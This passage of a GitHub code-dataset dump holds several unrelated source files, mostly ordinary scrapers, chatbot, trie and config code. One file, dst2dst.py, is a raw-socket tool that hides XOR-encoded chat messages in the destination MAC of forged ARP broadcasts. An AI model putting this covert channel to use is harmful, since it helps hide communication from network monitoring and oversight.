range(0,p):\t\n\t\t\t\te.click()\n\t\t\t\ttime.sleep(2)\n\t\t\t\t#print(\"Estic a la pàgina \" + str(p+1))\n\n\n\n\tdlinks=[] #Links de la pagina\n\telem = driver.find_elements_by_class_name(\"ag-cell-content-link\") #Agafo els links dels noms dels barcos\n\t\n\t#print(\"He obtingut \" + str(len(elem)) + \" elements en aquesta pàgina\") #Mostro la quantitat de barcos que tinc\n\tfor e in elem:\n\t\tif \"Show Details For:\" in e.get_attribute(\"title\"):\n\t\t\tnoms.append(e.text) #Em quedo el nom del barco\n\t\t\tdlinks.append(e.get_attribute(\"href\")) #Em quedo el link del barco\n\t\t\t#print(e.text)\t\t# Mostro el nom del barco\n\t\n\t#print(\"[X]\t\"+str(len(dlinks))+\" vaixells trobats\")#Mostro el numero de barcos q he trobat\n\tfor l in dlinks: # per cada link que he trobat a la pàgina\n\t\ttry:\n\t\t\tprint(\"Processant vaixell \" + str(nbarco+1) + \" de \" + str(num_vaixells))\n\t\t\tprint(\"Nom del vaixell: \" + noms[it])\n\t\t\tit += 1\n\t\t\tnbarco += 1\n\t#\tprint(\"Investigo \" + l)\n\t\t\tdriver.get(l)\n\t\t\telem = driver.find_elements_by_class_name(\"qc-cmp-button\")\n\t\t\tfor e in elem:\n\t\t\t\tif e != None and e.text == \"I ACCEPT\":\n\t\t\t\t\t#print(\"[X]\tAcceptant Cookies...\")\n\t\t\t\t\te.click()\n\t\t\th = driver.find_element_by_tag_name(\"body\") \n\t\t\tfor i in range(0,10):\t# Faig scroll molt cutre\n\t\t\t\th.send_keys(Keys.SPACE)\n\t\t\n\t#Intento obtenir l'IMO i llargada\n\t\t\ttry:\n\t\t\t\ttime.sleep(1)\n\t\t\t\tinfo = driver.find_element_by_id(\"imo\")\n\t\t\t\tm = re.search(r'(?<=: )[0-9\\-]+', info.text)\n\t\t\t\timo = m.group(0)\n\t\t\t\t#print(\"\t\t\tIMO: \" + str(imo))\n\t\t\t\timos.append(imo)\n\t\t\t\tinfo = driver.find_element_by_id(\"lengthOverallBreadthExtreme\")\n\t\t\t\tm = re.search(r'(?<=: )[0-9\\.]*', info.text)\n\t\t\t\tllargi = m.group(0)\n\t\t\t\t#print(\"\t\t\tLlarg: \" + str(llargi))\n\t\t\t\tllarg.append(llargi)\n\t\t\texcept NoSuchElementException:\n\t\t\t\timos.append(None)\n\t\t\t\tllarg.append(None)\n\t\t\t\tprint(\"No info del barco\")\n\t\texcept e:\n\t\t\tbreak\n\t\t\t\t\nprint(\"[+] FORMATANT LA SOTIDA\")\nwith open(\"./stalin.csv\",\"w+\") as fd:\n\t#print(fd)\n\tcsv_columns = [\"Nom\",\"IMO\",\"Llargada en metres\",\"Link Info\"]\n\tbarcos = formataSortida(noms,imos,llarg)\n\twriter = csv.DictWriter(fd,fieldnames=csv_columns)\n\twriter.writeheader()\n\tfor data in barcos:\n\t\twriter.writerow(data)\n#\tfor l in llarg:\n\t#\tprint(noms[i]+\";\"+l+\";https://www.google.com/search?q=intext:\\\"\"+noms[i]+\"\\\" intext:\"+imos[i])\n#\t\tfd.write(noms[i]+\";\"+l+\";https://www.google.com/search?q=intext:\\\"\"+noms[i]+\"\\\" intext:\"+imos[i])\n#\t\ti+=1\ndriver.close()\n#print(\"[+] Acabat\")\n","repo_name":"ferrerax/MallorcaBarcos","sub_path":"barcos.py","file_name":"barcos.py","file_ext":"py","file_size_in_byte":5120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"33103431236","text":"from peft import PeftModel, PeftConfig\nfrom transformers import AutoModelForCausalLM, AutoTokenizer\nfrom typing import Tuple\n\n__version__ = \"0.0.1\"\n\n\nclass InterfaceModel:\n \"\"\"Interface model for the chatbot\"\"\"\n\n def __init__(self, setup_model: bool = True):\n self.model_path = \"../models/rudialogpt-medium-lora-5ep\"\n self.model = None\n self.tokenizer = None\n self.config = None\n self.chat_history = None\n if setup_model:\n self.setup_model()\n\n def setup_model(self):\n self.config = PeftConfig.from_pretrained(self.model_path)\n self.tokenizer = AutoTokenizer.from_pretrained(\n self.config.base_model_name_or_path\n )\n model = AutoModelForCausalLM.from_pretrained(\n self.config.base_model_name_or_path\n )\n self.model = PeftModel.from_pretrained(model, self.model_path)\n self.chat_history = \"@@ПЕРВЫЙ@@ \"\n\n def predict(self, input_str: str) -> Tuple[str, str]:\n \"\"\"\n Predict the reply to the input text\n\n Args:\n input_str (str): input text\n\n Returns:\n Tuple[str, str]: tuple of the reply and updated chat history\n \"\"\"\n if self.model is None:\n self.setup_model()\n self.chat_history = self.chat_history + input_str + \" @@ВТОРОЙ@@ \"\n input_ids = self.tokenizer(self.chat_history, return_tensors=\"pt\")\n # cut off the input_ids if it is too long\n if input_ids.input_ids.shape[1] > 1000:\n input_ids.input_ids = input_ids.input_ids[:, -1000:]\n generated_token_ids = self.model.generate(\n **input_ids,\n top_k=50,\n top_p=0.85,\n num_return_sequences=1,\n temperature=1.2,\n repetition_penalty=1.2,\n length_penalty=1.0,\n eos_token_id=50257,\n max_new_tokens=40,\n pad_token_id=self.tokenizer.eos_token_id\n )\n generated_output = self.tokenizer.decode(\n generated_token_ids[0], skip_special_tokens=True\n )\n cutted_answer = generated_output[len(self.chat_history) :]\n # cut off the answer if it contains the special tokens\n if \"@@ПЕРВЫЙ@@\" in cutted_answer:\n cutted_answer = cutted_answer.split(\"@@ПЕРВЫЙ@@\")[0]\n if \"@@ВТОРОЙ@@\" in cutted_answer:\n cutted_answer = cutted_answer.split(\"@@ВТОРОЙ@@\")[0]\n self.chat_history = self.chat_history + cutted_answer + \" @@ПЕРВЫЙ@@ \"\n return cutted_answer, self.chat_history\n\n def clear_history(self):\n \"\"\"Clear the chat history\"\"\"\n self.chat_history = \"@@ПЕРВЫЙ@@ \"\n","repo_name":"white-r0se/sirius-test-nlp","sub_path":"src/api/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"33563345817","text":"# -*- coding: utf-8 -*-\n\"\"\"\npysteps.tracking.interface\n===========================\n\nInterface to the tracking module. It returns a callable function for tracking\nfeatures.\n\n.. autosummary::\n :toctree: ../generated/\n\n get_method\n\"\"\"\n\nfrom pysteps.tracking import lucaskanade\nfrom pysteps.tracking import tdating\n\n_tracking_methods = dict()\n_tracking_methods[\"lucaskanade\"] = lucaskanade.track_features\n_tracking_methods[\"tdating\"] = tdating.dating\n\n\ndef get_method(name):\n \"\"\"\n Return a callable function for tracking features.\n\n Description:\n Return a callable function for tracking features on input images .\n\n Implemented methods:\n\n +-----------------+--------------------------------------------------------+\n | Name | Description |\n +=================+========================================================+\n | lucaskanade | Wrapper to the OpenCV implementation of the |\n | | Lucas-Kanade tracking algorithm |\n +-----------------+--------------------------------------------------------+\n | tdating | Thunderstorm Detection and Tracking (DATing) module |\n +-----------------+--------------------------------------------------------+\n \"\"\"\n if isinstance(name, str):\n name = name.lower()\n else:\n raise TypeError(\n \"Only strings supported for the method's names.\\n\"\n + \"Available names:\"\n + str(list(_tracking_methods.keys()))\n ) from None\n\n try:\n return _tracking_methods[name]\n except KeyError:\n raise ValueError(\n \"Unknown tracking method {}\\n\".format(name)\n + \"The available methods are:\"\n + str(list(_tracking_methods.keys()))\n ) from None\n","repo_name":"pySTEPS/pysteps","sub_path":"pysteps/tracking/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":381,"dataset":"github-code","pt":"27"} +{"seq_id":"32810323274","text":"#\n# What is Trie?\n#\n\n# It is a tree-like structure where each node represents a single character of a given string. And unlike binary trees, a node may have more than two children.\n#\n# Let us analyze an example. We assume that we are starting from scratch, which means we only have an empty root node and nothing else. We start with the word \"buy\". Our implementation of Trie does not store a character in the root node. So we add the first character, i.e. \"b\" as a child node of it. We do it as it did not have that character in any of the children. Otherwise, we would have skipped adding the child node and just incremented the counter of the child node, as we already have it. Then comes the character \"u\". When adding this character, one thing we must be aware of, is the fact that we need to search whether \"u\" is present in any child nodes of \"b\" (our last added node) and not the root. And the same is true for \"y\".\n\nclass TrieNode(object):\n def __init__(self, char):\n self.char = char\n self.children = []\n self.counter = 1\n self.word_finished = False\n\n#\n# The first thing to consider is to how we add new words to a Trie. The add function does exactly that. The way it works is very simple. It takes as an input the root node (the one without any character value assigned to it) and the whole word.\n# 1. It then iterates through the word, one character at a time, starting with the first character.\n# 2. It checks whether the current \"node\" (At the beginning of the process which points to root node) has a child node with that character.\n# 3. If found, it just increments the counter of that node to indicate that it has got a repeated occurrence of that character.\n# 4. If not found then it simply adds a new node as a child of the current node.\n# 5. In both cases (4 & 5), it assigns the child node as the \"current node\" (which means in the next iteration it will start from here) before it starts with the next character of the word.\n# 6. One more thing it does also is to mark the end of a word once the whole process is finished. Which means, each leaf node of the Trie will have word_finished as True.\n#\n# That is all about adding a word in a Trie.\n#\n\ndef add(root, word):\n node = root\n\n for char in word:\n found_in_child = False\n # search for character in child of current node\n for child in node.children:\n if char == child.char:\n child.counter += 1\n # mark as found, so, we need not look for it once\n # we exit this for loop\n found_in_child = True\n # now we need to traverse down through the child node\n node = child\n break\n\n # not found in children, add new node\n if not found_in_child:\n newnode = TrieNode(char)\n node.children.append(newnode)\n # have to traverse down here, point node to newnode\n node = newnode\n\n # done adding word\n node.word_finished = True\n\n#\n# To search for a prefix\n#\n\n#\n# 1. It starts with the root node and the prefix to search for.\n# 2. It takes one character at a time from the prefix and searches through the children of the \"current node\" (at the beginning which points to the root node) to find a node containing that character.\n# 3. If found, it reassigns that child node as the \"current node\" (which means in the next iteration step it will start from here)\n# 4. If not found then it returns False to indicate that the prefix does not exist.\n#\n\ndef find_prefix(root, prefix):\n \"\"\"\n Checks & returns\n\n 1. If the prefix exists in any of the words we added so far\n 2. If yes, then how may words actually have the prefix\n \"\"\"\n if not root.children:\n return (False, 0)\n\n node = root\n for char in prefix:\n for child in node.children:\n if char == child.char:\n node = child\n # found this char, go to next char in the prefix\n break\n else:\n return (False, 0)\n\n return (True, node.counter)\n\nif __name__ == '__main__':\n root = TrieNode('*')\n add(root, 'hackathon')\n add(root, 'hack')\n\n print(find_prefix(root, 'hac'))\n print(find_prefix(root, 'hack'))\n print(find_prefix(root, 'hackathon'))\n print(find_prefix(root, 'ha'))\n print(find_prefix(root, 'h'))\n print(find_prefix(root, 'hacka'))\n print(find_prefix(root, 'uhacka'))\n print(find_prefix(root, 'hammers'))\n","repo_name":"Suraj-Rajesh/code","sub_path":"Algos/leetcode/dataStructures/trie.py","file_name":"trie.py","file_ext":"py","file_size_in_byte":4531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"17509414974","text":"from genconf.library.librarybase import LibraryBase\nfrom genconf.library.helper import sub_domain_to_domain\nclass Postfix(LibraryBase):\n def __init__(self, ini_file, json_file):\n LibraryBase.__init__(self, ini_file, json_file)\n self.ssl_cert_path = self.config.get(\"mail\", \"ssl_cert_path\")\n self.ssl_key_path = self.config.get(\"mail\", \"ssl_key_path\")\n self.ssl_pem_path = self.config.get(\"mail\", \"ssl_pem_path\")\n self.hostname = self.config.get(\"mail\", \"hostname\")\n self.postfix_virtual_path = self.config.get(\"mail\", \n \"postfix_virtual_path\")\n self.postfix_sasl_path = self.config.get(\"mail\", \n \"postfix_sasl_path\")\n self.postfix_sasl_type = self.config.get(\"mail\", \n \"postfix_sasl_type\")\n self.smtp_banner = self.config.get(\"mail\", \"smtp_banner\")\n \n def generate_main(self):\n domains = \"\"\n for domain in self.database['domains'].keys():\n domains += \"%s, \" % domain\n domains = domains[:-2]\n template = self.env.get_template('mail/postfix_main.jinja2')\n template_output = template.render(ssl_cert_path=self.ssl_cert_path,\n ssl_key_path=self.ssl_key_path,\n ssl_pem_path=self.ssl_pem_path,\n hostname=self.hostname,\n postfix_virtual_path=self.postfix_virtual_path,\n postfix_sasl_type=self.postfix_sasl_type,\n postfix_sasl_path=self.postfix_sasl_path,\n smtp_banner=self.smtp_banner,\n domains=domains)\n return template_output\n \n def generate_virtual(self):\n virtual = \"\"\n for user in self.database['users'].keys():\n sub_domain = True\n \n # Convert subdomain to its root domain.\n orig_domain = self.database['users'][user]['domain']\n domain = sub_domain_to_domain(self.database['domains'],\n orig_domain)\n \n if not domain:\n # The domain is a root domain.\n domain = orig_domain\n sub_domain = False\n \n # Add alias for root domain\n email = \"%s@%s\" % (user, domain)\n virtual += \"%s %s\\n\" % (email, user)\n \n if sub_domain:\n # Add an alias for the subdomain also.\n email = \"%s@%s\" % (user, orig_domain)\n virtual += \"%s %s\\n\" % (email, user)\n \n return virtual[:-1]","repo_name":"Rich43/genconf","sub_path":"genconf/library/mail/postfix.py","file_name":"postfix.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"3826364319","text":"#\n# @lc app=leetcode id=76 lang=python3\n#\n# [76] Minimum Window Substring\n#\n\n# @lc code=start\nclass Solution:\n def minWindow(self, s: str, t: str) -> str:\n start, left, right, minLen, match = 0, 0, 0, float('inf'), 0\n window = {}\n needs = dict((i, t.count(i)) for i in t)\n\n while right < len(s):\n c1 = s[right]\n if c1 in needs.keys():\n window[c1] = window.get(c1, 0) + 1\n if window[c1] == needs[c1]:\n match += 1\n right += 1\n\n while match == len(needs):\n if right - left < minLen:\n start = left\n minLen = right - left\n c2 = s[left]\n if c2 in needs.keys():\n window[c2] -= 1\n if window[c2] < needs[c2]:\n match -= 1\n left += 1\n return '' if minLen == float('inf') else s[start:start + minLen]\n\n \n# @lc code=end\n\n","repo_name":"LuciusK/algorithms","sub_path":"algorithms/76.minimum-window-substring.py","file_name":"76.minimum-window-substring.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"38504894561","text":"import threading\nfrom socket import *\nimport sys\nimport argparse\nimport random\nimport binascii\n\ninterface = \"eth0\" # Change to your interface\n\nparser = argparse.ArgumentParser(description='dst2dst')\nparser.add_argument('-m', dest='inMac', help='This is the source mac you will use')\n\n# Transmit\nt = socket(AF_PACKET, SOCK_RAW)\nt.bind((interface, 0))\n# Receive\nr = socket( AF_PACKET, SOCK_RAW, ntohs(0x0003))\nmsgBufz = {} # These are buffers for tracking messages\n\ndef getChecksum(inData):\n b = inData[0]+inData[1]+inData[2]+inData[3]\n c = b % 256\n return c\n\ndef encodeMessage(inData):\n # What we are generating\n # ┌─eth.dst───────┐\n # 01 02 03 04 05 06\n # │ │ └─────────┴ XOR'd Data\n # │ └───────────── Checksum - Sum of the data bytes, which is XOR'd with the Key\n # └──────────────── XOR Key\n msgSeed = random.randrange(0,256)\n msgSeed = msgSeed | 1 # Ensure the bottom bit is always set\n msgBuf = b\"\"\n csum = getChecksum(inData)\n msgBuf += bytes([msgSeed]) # eth.dst[0]\n msgBuf += bytes([msgSeed ^ csum]) # eth.dst[1]\n msgBuf += bytes([( ( msgBuf[1] + csum ) % 256 ) ^ inData[0]]) # eth.dst[2]\n msgBuf += bytes([( ( msgBuf[2] + csum ) % 256 ) ^ inData[1]]) # eth.dst[3]\n msgBuf += bytes([( ( msgBuf[3] + csum ) % 256 ) ^ inData[2]]) # eth.dst[4]\n msgBuf += bytes([( ( msgBuf[4] + csum ) % 256 ) ^ inData[3]]) # eth.dst[5]\n return msgBuf\n\ndef decodeMessage(inData,esrc):\n # What we are decoding\n # ┌─eth.dst───────┐\n # 01 02 03 04 05 06\n # │ │ └─────────┴ XOR'd Data\n # │ └───────────── Checksum - Sum of the data bytes, which is XOR'd with the Key\n # └──────────────── XOR Key\n csum = inData[0] ^ inData[1]\n msgBuf = b\"\"\n msgBuf += bytes([( ( inData[1] + csum ) % 256 ) ^ inData[2]])\n msgBuf += bytes([( ( inData[2] + csum ) % 256 ) ^ inData[3]])\n msgBuf += bytes([( ( inData[3] + csum ) % 256 ) ^ inData[4]])\n msgBuf += bytes([( ( inData[4] + csum ) % 256 ) ^ inData[5]])\n calcSum = getChecksum(msgBuf)\n # If the checksums match, we should print!\n if csum == calcSum:\n if esrc not in msgBufz.keys():\n msgBufz[esrc] = msgBuf\n else:\n msgBufz[esrc] += msgBuf\n if b\"\\x00\" in msgBuf:\n print(\"{} -- {}\".format(esrc, msgBufz[esrc].decode()))\n msgBufz[esrc] = b\"\"\n\ndef rcv_message(inSock):\n while True:\n # What we need for our message\n packet = r.recvfrom(65565)\n packet = packet[0]\n ethdst = packet[0:6]\n ethsrc = packet[6:12].hex(':')\n ethtype = packet[12:14] # We want to check if this is our type\n if ethsrc == inMac:\n continue\n if ethtype == b\"\\x08\\x06\":\n decodeMessage(ethdst,ethsrc) # Attempt to decode\n\ndef genMessage(inData,inSock,srcMac):\n # //- Ethernet Header\n pkt = b\"\"\n pkt += encodeMessage(inData)\n pkt += srcMac\n pkt += b\"\\x08\\x06\" # eth.type (ARP)\n # //- ARP Message\n pkt += b\"\\x00\\x01\" # arp.hw.type -- Hardware Type: Ethernet\n pkt += b\"\\x08\\x00\" # arp.proto.type -- Protocol Type: IPv4\n pkt += b\"\\x06\" # arp.hw.size -- Hardware Size: 6\n pkt += b\"\\x04\" # arp.proto.size -- Protocol Size: 4\n pkt += b\"\\x00\\x01\" # arp.opcode -- Opcode: Request\n pkt += b\"\\x00\\x11\\x22\\x33\\x44\\x55\" # arp.src.hw_mac -- Source MAC Address\n pkt += b\"\\x0a\\x00\\x01\\x0a\" # arp.src.proto_ipv4 -- Source IP: 10.0.1.10\n pkt += b\"\\x00\\x00\\x00\\x00\\x00\\x00\" # arp.dst.hw_mac -- Target MAC Address\n pkt += b\"\\x0a\\x00\\x01\\x0b\" # arp.dst.proto_ipv4 -- Target IP: 10.0.1.11\n \n inSock.send(pkt)\n\ndef send_message(inSock,srcMacS):\n srcMac = binascii.unhexlify(srcMacS.replace(':',''))\n for line in sys.stdin:\n msg = line.rstrip()\n msg = msg.encode('latin-1')\n padding = (len(msg) % 4) # Using this to calculate how many padding bytes are needed\n if padding != 0:\n msg += b\"\\x00\"*(4-padding) # Adds padding bytes if needed\n else:\n msg += b\"\\x00\\x00\\x00\\x00\" # This adds one null message at the end to signify the message is done\n mlen = len(msg)\n i = 0\n while i < mlen:\n chunk = msg[i:i+4]\n genMessage(chunk,t,srcMac)\n i = i+4\n print(\"{} -- {}\".format(srcMacS, msg.decode()))\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n inMac = args.inMac\n\n x = threading.Thread(target=rcv_message, args=(r,))\n x.start()\n y = threading.Thread(target=send_message, args=(t,inMac))\n y.start()\n","repo_name":"netspooky/protocols","sub_path":"broadcast_brujeria/dst2dst/dst2dst.py","file_name":"dst2dst.py","file_ext":"py","file_size_in_byte":4904,"program_lang":"python","lang":"en","doc_type":"code","stars":225,"dataset":"github-code","pt":"27"} +{"seq_id":"21923072823","text":"from mixcloud.config import drive, local_base_path\nfrom datetime import datetime, timedelta\nfrom loguru import logger\n\ndef download_picture(file_id, file_name):\n file = drive.CreateFile({'id': file_id})\n local_picture_path = f\"{local_base_path}/picture/{file_name}\"\n file.GetContentFile(local_picture_path, chunksize=1004857600)\n return local_picture_path\n\ndef get_publish(date_rec):\n exp_date = date_rec + timedelta(days=1)\n if exp_date < datetime.today():\n publish_date=(datetime.today()+timedelta(1)).strftime(\"%Y-%m-%dT10:00:00Z\")\n else:\n publish_date=exp_date.strftime(\"%Y-%m-%dT10:00:00Z\")\n return publish_date\n\ndef get_name(df_active, tag, date_rec):\n show_name = df_active['show_name'].iloc[0]\n dj_name = df_active['dj_name'].iloc[0]\n date_str = date_rec.strftime(\"%d.%m.%Y\")\n\n if dj_name != \"\":\n name=f\"{show_name} with {dj_name} ({date_str})\"\n else:\n name=f\"{show_name} ({date_str})\"\n return name, show_name\n\ndef move(file_id, new_parent):\n files = drive.auth.service.files()\n file = files.get(fileId= file_id, fields= 'parents').execute()\n prev_parents = ','.join(p['id'] for p in file.get('parents'))\n file = files.update( fileId = file_id,\n addParents = new_parent,\n removeParents = prev_parents,\n fields = 'id, parents',\n supportsAllDrives=True,\n supportsTeamDrives=True\n ).execute()\n\ndef get_metadata(metadata_df):\n show_data=metadata_df[['show_name','dj_name','show_nr','tags-0-tag']].dropna(axis=1, how='all').to_dict('records')\n show_data=show_data[0]\n show_name=show_data['show_name']\n dj_name=show_data['dj_name']\n ep_nr=show_data['show_nr']\n genre=show_data['tags-0-tag']\n return show_name, dj_name, ep_nr, genre\n\ndef get_filename(tag, show_name, dj_name, ep_nr, date):\n filename=f\"{date}_{tag}_{show_name}_{ep_nr}_{dj_name}\"\n return filename.replace(\" \", \"_\").replace(\"/\", \"\")","repo_name":"mjoes/verslibre-mixcloud","sub_path":"src/mixcloud/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"34012562468","text":"# flake8: noqa: W605\n\nfrom __future__ import annotations\n\nimport logging\nfrom typing import Optional, Tuple, List, Dict\n\nfrom pymwp import Choices, DeltaGraph, Polynomial\nfrom . import matrix as matrix_utils\n\nlogger = logging.getLogger(__name__)\n\n\nclass Relation:\n \"\"\"\n A relation is made of a list of variables and a 2D-matrix:\n\n - Variables of a relation represent the variables of the input\n program under analysis, for example: $X_0, X_1, X_2$.\n\n - Matrix holds [`Polynomials`](polynomial.md#pymwp.polynomial)\n and represents the current state of the analysis.\n\n \"\"\"\n\n def __init__(self, variables: Optional[List[str]] = None,\n matrix: Optional[List[List[Polynomial]]] = None):\n \"\"\"Create a relation.\n\n When constructing a relation, provide a list of variables\n and an initial matrix.\n\n If matrix is not provided, the relation matrix will be initialized to\n zero matrix of size matching the number of variables.\n\n Also see: [`Relation.identity()`](relation.md#pymwp.relation\n .Relation.identity) for creating a relation whose matrix is an\n identity matrix.\n\n Example:\n\n Create a new relation from a list of variables:\n\n ```python\n r = Relation(['X0', 'X1', 'X2'])\n\n # Creates relation with 0-matrix with and specified variables:\n #\n # X0 | 0 0 0\n # X1 | 0 0 0\n # X2 | 0 0 0\n ```\n\n Arguments:\n variables: program variables\n matrix: relation matrix\n \"\"\"\n self.variables = [str(v) for v in (variables or []) if v]\n self.matrix = matrix or matrix_utils \\\n .init_matrix(len(self.variables))\n\n @staticmethod\n def identity(variables: List) -> Relation:\n \"\"\"Create an identity relation.\n\n This method allows creating a relation whose\n matrix is an identity matrix.\n\n This is an alternative way to construct a relation.\n\n Example:\n\n Create a new identity relation from a list of variables:\n\n ```python\n r = Relation.identity(['X0', 'X1', 'X2', 'X3'])\n\n # Creates relation with identity matrix with and specified variables:\n #\n # X0 | m 0 0 0\n # X1 | 0 m 0 0\n # X2 | 0 0 m 0\n # X3 | 0 0 0 m\n ```\n\n Arguments:\n variables: list of variables\n\n Returns:\n Generated relation of given variables and an identity matrix.\n \"\"\"\n matrix = matrix_utils.identity_matrix(len(variables))\n return Relation(variables, matrix)\n\n @property\n def is_empty(self):\n return not self.variables or not self.matrix\n\n @property\n def matrix_size(self):\n return 0 if not self.variables else len(self.variables)\n\n def __str__(self):\n return Relation.relation_str(self.variables, self.matrix)\n\n def __add__(self, other):\n return self.sum(other)\n\n def __mul__(self, other):\n return self.composition(other)\n\n @staticmethod\n def relation_str(variables: List[str], matrix: List[List[any]]):\n \"\"\"Formatted string of variables and matrix.\"\"\"\n right_pad = len(max(variables, key=len)) if variables else 0\n return '\\n'.join(\n [var.ljust(right_pad) + ' | ' + (' '.join(poly)).strip()\n for var, poly in\n [(var, [str(matrix[i][j]) for j in range(len(matrix))])\n for i, var in enumerate(variables)]])\n\n def replace_column(self, vector: List, variable: str) -> Relation:\n \"\"\"Replace identity matrix column by a vector.\n\n Arguments:\n vector: vector by which a matrix column will be replaced.\n variable: program variable, column replacement\n will occur at the index of this variable.\n\n Raises:\n ValueError: if variable is not found in this relation.\n\n Returns:\n new relation after applying the column replacement.\n \"\"\"\n new_relation = Relation.identity(self.variables)\n if variable in self.variables:\n j = self.variables.index(variable)\n for idx, value in enumerate(vector):\n new_relation.matrix[idx][j] = value\n return new_relation\n\n def while_correction(self, dg: DeltaGraph) -> None:\n \"\"\"Replace invalid scalars in a matrix by $\\\\infty$.\n\n Following the computation of fixpoint for a while loop node, this\n method checks the resulting matrix and replaces all invalid scalars\n with $\\\\infty$ (W rule in MWP paper):\n\n - scalar $p$ anywhere in the matrix becomes $\\\\infty$\n - scalar $w$ at the diagonal becomes $\\\\infty$\n\n Example:\n\n ```text\n Before: After:\n\n | m o o o o | | m o o o o |\n | o w o p o | | o i o i o |\n | o o m o o | | o o m o o |\n | w o o m o | | w o o m o |\n | o o o o p | | o o o o i |\n ```\n\n This method is where $\\\\infty$ is introduced in a matrix.\n\n Related discussion: [issue #14](\n https://github.com/statycc/pymwp/issues/14).\n\n Arguments:\n dg: DeltaGraph instance\n \"\"\"\n for i, vector in enumerate(self.matrix):\n for j, poly in enumerate(vector):\n for mon in poly.list:\n if mon.scalar == \"p\" or (mon.scalar == \"w\" and i == j):\n mon.scalar = \"i\"\n dg.from_monomial(mon)\n\n def sum(self, other: Relation) -> Relation:\n \"\"\"Sum two relations.\n\n Calling this method is equivalent to syntax `relation + relation`.\n\n Arguments:\n other: Relation to sum with self.\n\n Returns:\n A new relation that is a sum of inputs.\n \"\"\"\n er1, er2 = Relation.homogenisation(self, other)\n new_matrix = matrix_utils.matrix_sum(er1.matrix, er2.matrix)\n return Relation(er1.variables, new_matrix)\n\n def composition(self, other: Relation) -> Relation:\n \"\"\"Composition of current and another relation.\n\n Calling this method is equivalent to syntax `relation * relation`.\n\n Composition will:\n\n 1. combine the variables of two relations, and\n 2. produce a single matrix that is the product of matrices of\n the two input relations.\n\n Arguments:\n other: Relation to compose with current\n\n Returns:\n a new relation that is a product of inputs.\n \"\"\"\n\n logger.debug(\"starting composition...\")\n er1, er2 = Relation.homogenisation(self, other)\n logger.debug(\"composing matrix product...\")\n new_matrix = matrix_utils.matrix_prod(er1.matrix, er2.matrix)\n logger.debug(\"...relation composition done!\")\n return Relation(er1.variables, new_matrix)\n\n def equal(self, other: Relation) -> bool:\n \"\"\"Determine if two relations are equal.\n\n For two relations to be equal they must have:\n\n 1. the same variables (independent of order), and\n 2. matrix polynomials must be equal element-wise.\n\n See [`polynomial#equal`](\n polynomial.md#pymwp.polynomial.Polynomial.equal)\n for details on how to determine equality of two polynomials.\n\n Arguments:\n other: relation to compare\n\n Returns:\n true when two relations are equal\n and false otherwise.\n \"\"\"\n\n # must have same variables in same order\n if set(self.variables) != set(other.variables):\n return False\n\n # not sure homogenisation is necessary here\n # --> yes we need it\n er1, er2 = Relation.homogenisation(self, other)\n\n for row1, row2 in zip(er1.matrix, er2.matrix):\n for poly1, poly2 in zip(row1, row2):\n if poly1 != poly2:\n return False\n return True\n\n def fixpoint(self) -> Relation:\n \"\"\"\n Compute sum of compositions until no changes occur.\n\n Returns:\n resulting relation.\n \"\"\"\n fix_vars = self.variables\n matrix = matrix_utils.identity_matrix(len(fix_vars))\n fix = Relation(fix_vars, matrix)\n prev_fix = Relation(fix_vars, matrix)\n current = Relation(fix_vars, matrix)\n\n logger.debug(f\"computing fixpoint for variables {fix_vars}\")\n\n while True:\n prev_fix.matrix = fix.matrix\n current = current * self\n fix = fix + current\n if fix.equal(prev_fix):\n logger.debug(f\"fixpoint done {fix_vars}\")\n return fix\n\n def apply_choice(self, *choices: int) -> SimpleRelation:\n \"\"\"Get the matrix corresponding to provided sequence of choices.\n\n Arguments:\n choices: tuple of choices\n\n Returns:\n New relation with simple-values matrix of scalars.\n \"\"\"\n new_mat = [[self.matrix[i][j].choice_scalar(*choices)\n for j in range(self.matrix_size)]\n for i in range(self.matrix_size)]\n return SimpleRelation(self.variables.copy(), matrix=new_mat)\n\n def infty_vars(self) -> Dict[str, List[str]]:\n \"\"\"Identify all variable pairs that for some choices, can raise\n infinity result.\n\n Returns:\n Dictionary of potentially infinite dependencies, where\n the key is source variable and value is list of targets.\n All entries are non-empty.\n \"\"\"\n vars_ = self.variables\n return dict([(x, y) for x, y in [\n (src, [tgt for tgt, p in zip(vars_, polys) if p.some_infty])\n for src, polys in zip(vars_, self.matrix)] if len(y) != 0])\n\n def infty_pairs(self) -> str:\n \"\"\"List of potential infinity dependencies.\"\"\"\n fmt = [f'{s} ➔ {\", \".join(t)}' for s, t in self.infty_vars().items()]\n return ' ‖ '.join(fmt)\n\n def to_dict(self) -> dict:\n \"\"\"Get dictionary representation of a relation.\"\"\"\n return {\"matrix\": matrix_utils.encode(self.matrix)}\n\n def show(self):\n \"\"\"Display relation.\"\"\"\n print(str(self))\n\n @staticmethod\n def homogenisation(r1: Relation, r2: Relation) \\\n -> Tuple[Relation, Relation]:\n \"\"\"Performs homogenisation on two relations.\n\n After this operation both relations will have same\n variables and their matrices of the same size.\n\n This operation will internally resize matrices as needed.\n\n Arguments:\n r1: first relation to homogenise\n r2: second relation to homogenise\n\n Returns:\n Homogenised versions of the 2 inputs relations\n \"\"\"\n\n # check equality\n if r1.variables == r2.variables:\n return r1, r2\n\n # check empty cases\n if r1.is_empty:\n return Relation.identity(r2.variables), r2\n\n if r2.is_empty:\n return r1, Relation.identity(r1.variables)\n\n logger.debug(\"matrix homogenisation...\")\n\n # build a list of all distinct variables; maintain order\n extended_vars = r1.variables + [v for v in r2.variables\n if v not in r1.variables]\n\n # resize matrices to match new number of variables\n new_matrix_size = len(extended_vars)\n\n # first matrix: just resize -> this one is now done\n matrix1 = matrix_utils.resize(r1.matrix, new_matrix_size)\n\n # second 